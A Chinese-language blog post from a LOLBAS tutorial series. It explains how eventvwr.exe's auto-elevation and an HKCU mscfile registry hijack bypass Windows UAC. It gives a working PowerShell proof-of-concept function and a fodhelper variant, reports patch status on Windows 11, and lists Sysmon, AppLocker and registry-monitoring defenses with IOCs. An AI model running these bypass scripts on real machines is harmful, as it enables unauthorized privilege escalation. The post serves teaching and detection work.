Skip to content
Suzu

【LOLBAS鐵人賽Day14】Eventvwr.exe:UAC繞過的權限提升技術

解析 eventvwr.exe 利用 mscfile 登錄檔劫持與 auto-elevate 機制繞過 UAC 的經典提權技術,包含攻擊原理、PowerShell PoC、Windows 11 現況測試,以及登錄檔監控、Sysmon 等偵測防禦方法。

Series
30 posts
View the complete series →
On this page

在 Windows 作業系統中,UAC 是一項用來防止未經授權的系統變更中重要的安全機制,
但後來安全研究人員也發現了很多繞過 UAC 的技術,
其中 eventvwr.exe 是一個經典的例子。
今天我們要來一起看看這個技術的原理、實作方式、在 Windows 11 上的現況,以及相應的防禦策略。

什麼是 UAC?


UAC (User Account Control) 是 Windows Vista 後引入的安全功能,主要功能大概是這些:

  • 防止惡意程式在沒有管理員權限的情況下對系統進行變更
  • 當程式需要管理員權限時,會彈出提示視窗請求使用者確認
  • 即使使用管理員帳戶登入,預設也是以標準權限執行程式

UAC 等級設定

# 檢查當前 UAC 等級
Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin

# ConsentPromptBehaviorAdmin 值說明(微軟官方定義)
# 0 = 不提示直接提權(Elevate without prompting)
# 1 = 在安全桌面提示輸入認證(Prompt for credentials on the secure desktop)
# 2 = 在安全桌面提示同意(Prompt for consent on the secure desktop,即「總是通知」)
# 3 = 提示輸入認證(Prompt for credentials)
# 4 = 提示同意(Prompt for consent)
# 5 = 預設值 - 僅針對非 Windows 程式提示同意(Prompt for consent for non-Windows binaries)

eventvwr.exe 簡介

Event Viewer (eventvwr.exe) 是 Windows 內建的事件檢視器,用來查看系統、安全性和應用程式記錄。這個程式有幾個特點:

  1. 自動提權:eventvwr.exe 的 manifest 帶有 autoElevate 標記,會自動以高權限執行,不會觸發 UAC 提示
  2. 白名單程式:因為是 Windows 系統程式,被列入 UAC 白名單
  3. 註冊表查詢:執行時會查詢特定的註冊表項目

攻擊原理


eventvwr.exe UAC 繞過的核心原理是利用了 Windows 的幾個特性:

1. Auto-Elevate 機制

某些 Windows 系統程式如果被標記為 “auto-elevate”,就可以在不顯示 UAC 提示的情況下獲得管理員權限。eventvwr.exe 就是其中一個例子。

2. 註冊表劫持

當 eventvwr.exe 啟動時,會嘗試開啟 MMC (Microsoft Management Console) 來顯示事件記錄。

過程中他會查詢這些註冊表路徑:

HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command
HKEY_CLASSES_ROOT\mscfile\shell\open\command(即 HKLM\Software\Classes 與 HKCU\Software\Classes 的合併檢視)

3. HKCU vs HKLM 優先權

Windows 在查詢註冊表時,會先檢查 HKEY_CURRENT_USER (HKCU),然後才是 HKEY_LOCAL_MACHINE (HKLM)。

因為 HKCU 可以被當前使用者修改,我們可以在這裡植入惡意程式路徑

攻擊步驟


Step 1: 創建註冊表結構

首先,我們需要在 HKCU 下創建必要的註冊表結構:

New-Item -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Force

Step 2: 設置惡意程式路徑

將預設值設置為我們要執行的程式:

Set-ItemProperty -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Name "(Default)" -Value "C:\Windows\System32\cmd.exe"

Step 3: 設置 DelegateExecute

對 mscfile 來說,其實只需要 (Default) 值就能觸發劫持;不過多寫一個空的 DelegateExecute 也不會影響結果:

Set-ItemProperty -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Name "DelegateExecute" -Value ""

要注意的是,清空 DelegateExecute 這個步驟在 fodhelper(ms-settings)變種中才是必要的:因為 HKCR\ms-settings\shell\open\command 預設帶有 DelegateExecute 值(指向 COM 物件),若不在 HKCU 對應路徑覆寫為空字串,Windows 會使用 COM 物件而非我們的命令。

Step 4: 執行 eventvwr.exe

當執行 eventvwr.exe 時,它會讀取我們設置的註冊表值:

Start-Process "eventvwr.exe"

POC


PowerShell 版本

實作內容

function Invoke-EventVwrBypass {
    param(
        [Parameter(Mandatory=$true)]
        [string]$Command
    )

    $regPath = "HKCU:\Software\Classes\mscfile\shell\open\command"

    New-Item -Path $regPath -Force | Out-Null
    Set-ItemProperty -Path $regPath -Name "(Default)" -Value $Command -Force
    Set-ItemProperty -Path $regPath -Name "DelegateExecute" -Value "" -Force

    Start-Process "eventvwr.exe" -WindowStyle Hidden
    Start-Sleep -Seconds 3

    Remove-Item -Path "HKCU:\Software\Classes\mscfile" -Recurse -Force
}

Invoke-EventVwrBypass -Command "cmd.exe /k whoami /priv"

程式說明

函數參數定義

  • $Command:必要參數,指定要執行的命令路徑

註冊表路徑設定

  • 使用 HKCU:\Software\Classes\mscfile\shell\open\command 作為劫持路徑
  • HKCU 路徑可被當前使用者修改,不需要管理員權限

註冊表創建與設定

  • New-Item -Force 強制創建整個路徑結構,包含所有必要的父級目錄
  • (Default) 值設定為要執行的命令,這是 eventvwr.exe 會讀取並執行的值
  • DelegateExecute 對 mscfile 並非必要(mscfile 預設沒有此值),但設為空字串無害;在 fodhelper(ms-settings)變種中則必須設為空字串,否則 Windows 會使用 COM 物件而非我們的命令

觸發執行

  • 使用 Start-Process 啟動 eventvwr.exe
  • -WindowStyle Hidden 參數隱藏視窗
  • eventvwr.exe 會以高權限自動啟動(auto-elevate)並讀取我們的註冊表設定

清理作業

  • 等待 3 秒確保命令已執行
  • 使用 -Recurse 參數完整移除 mscfile

變種技術與演進


1. MSC 檔案直接執行

在測試中有發現,雖然 eventvwr.exe 已被修掉了,但直接執行 MSC 檔案還是可以觸發註冊表劫持:

# eventvwr.msc 變種
Start-Process "eventvwr.msc"  # 仍會讀取劫持的註冊表

2. 其他 Auto-Elevate 程式

類似的技術可應用於其他 auto-elevate 程式:

# fodhelper.exe (已經被 patch 掉了, Defender 關閉還是可以觸發管理員權限)
$regPath = "HKCU:\Software\Classes\ms-settings\shell\open\command"
New-Item -Path $regPath -Force | Out-Null
Set-ItemProperty -Path $regPath -Name "(Default)" -Value "cmd.exe"
Set-ItemProperty -Path $regPath -Name "DelegateExecute" -Value ""
Start-Process "fodhelper.exe"

以 fodhelper.exe 觸發 ms-settings 註冊表劫持,彈出具有管理員權限的 cmd 視窗

3. Windows 11 的現況

在 Windows 11 Build 26100 的測試中:

  • eventvwr.exe:已完全修補,不再讀取劫持的註冊表
  • eventvwr.msc:可執行劫持的程式,但無權限提升
  • fodhelper.exe:可用,但會被 Windows Defender 偵測

偵測&防禦方法


1. 監控註冊表活動

監控對以下註冊表路徑的修改:

  • HKCU\Software\Classes\mscfile
  • HKCU\Software\Classes\ms-settings
  • 其他已知的 UAC 繞過相關路徑

2. 應用程式控制

使用 AppLocker 或 Windows Defender Application Control (WDAC) 限制可執行的程式。

# 為目錄中的執行檔產生 AppLocker 規則(Publisher 為主、Hash 為輔),套用至 Everyone
Get-ChildItem "C:\Windows\System32\*.exe" |
    Get-AppLockerFileInformation |
    New-AppLockerPolicy -RuleType Publisher, Hash -User Everyone -RuleNamePrefix System32 |
    Set-AppLockerPolicy

若要建立「拒絕(Deny)」規則,需在群組原則(GPO)的 AppLocker 介面中手動新增,或直接編輯原則 XML 中的 Action="Deny" 屬性。

3. 提高 UAC 等級

將 UAC 設置為最高等級(Always Notify),要求所有程式都需要管理員確認:

Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Value 2

4. Sysmon 監控

配置 Sysmon 監控相關事件:

<Sysmon schemaversion="4.22">
  <EventFiltering>
    <RuleGroup name="UAC Bypass Detection">
      <RegistryEvent onmatch="include">
        <TargetObject condition="contains">Software\Classes\mscfile</TargetObject>
      </RegistryEvent>
      <ProcessCreate onmatch="include">
        <Image condition="end with">eventvwr.exe</Image>
        <ParentImage condition="end with">eventvwr.exe</ParentImage>
      </ProcessCreate>
    </RuleGroup>
  </EventFiltering>
</Sysmon>

5. PowerShell 日誌記錄

啟用 PowerShell 腳本區塊日誌記錄:

# 啟用 PowerShell 日誌
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1

檢測指標 (IOCs)


註冊表 IOCs

  • HKCU\Software\Classes\mscfile\shell\open\command
  • 異常的 DelegateExecute 空值設置
  • 短時間內註冊表的創建和刪除模式

行為 IOCs

  • eventvwr.exe 後立即出現非預期的子程序
  • eventvwr.exe 執行但沒有實際打開事件檢視器視窗
  • 異常的權限提升行為

參考資源


Share this page